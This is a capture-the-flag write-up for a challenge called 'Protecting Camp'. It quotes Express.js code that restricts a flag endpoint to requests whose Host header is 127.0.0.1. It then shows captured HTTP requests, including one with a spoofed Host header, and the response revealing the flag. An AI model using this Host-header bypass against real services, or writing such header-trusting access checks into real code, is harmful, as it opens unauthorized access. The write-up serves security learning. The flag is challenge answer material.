Challenge: Protecting Camp
I made a small site to keep a list of things I need to buy to keep me safe before I go camping, maybe it’s keeping some other things safe too! Attachment: protecting_camp.zip
Walkthrough
This challenge shows a Camping Checklist
on main page.
Solve
1. Reviewing the code
Found a snippet that could be vulnerable to SSRF
app.get('/api/flag', (req, res) => {
var url = req.protocol + '://' + req.get('host') + req.originalUrl;
try{
parsed = parseUrl(url)
if (parsed.resource != '127.0.0.1'){
res.send("Hey... what's going on here\n");
}else{
fs.readFile("./flag.txt", 'utf8', (err, data) => {
if (err) {
res.send("There was an error and this is sad :(\n")
}else{
res.send(data+"\n")
}
});
}} catch (error) {
res.status(400).json({ success: false, message: 'Error parsing URL' });
}
});
Above code checks whether the host is 127.0.0.1
or localhost
.
2. Capture the request in the burp
GET /api/flag HTTP/1.1
Host: challenge.ctf.games:30434
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
3. Modify the Host
to 127.0.0.1
in request header to force the server to act as localhost
to fetch the flag.
GET /api/flag HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
4. Response:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 39
ETag: W/"27-4SEkmk+ikGeA/tdbA7rO7GjPb3w"
Date: Sat, 28 Oct 2023 04:00:54 GMT
Connection: close
flag{d716dd8ab70bbc51a5f1d0182c84bcc8}
Solution
Flag: flag{d716dd8ab70bbc51a5f1d0182c84bcc8}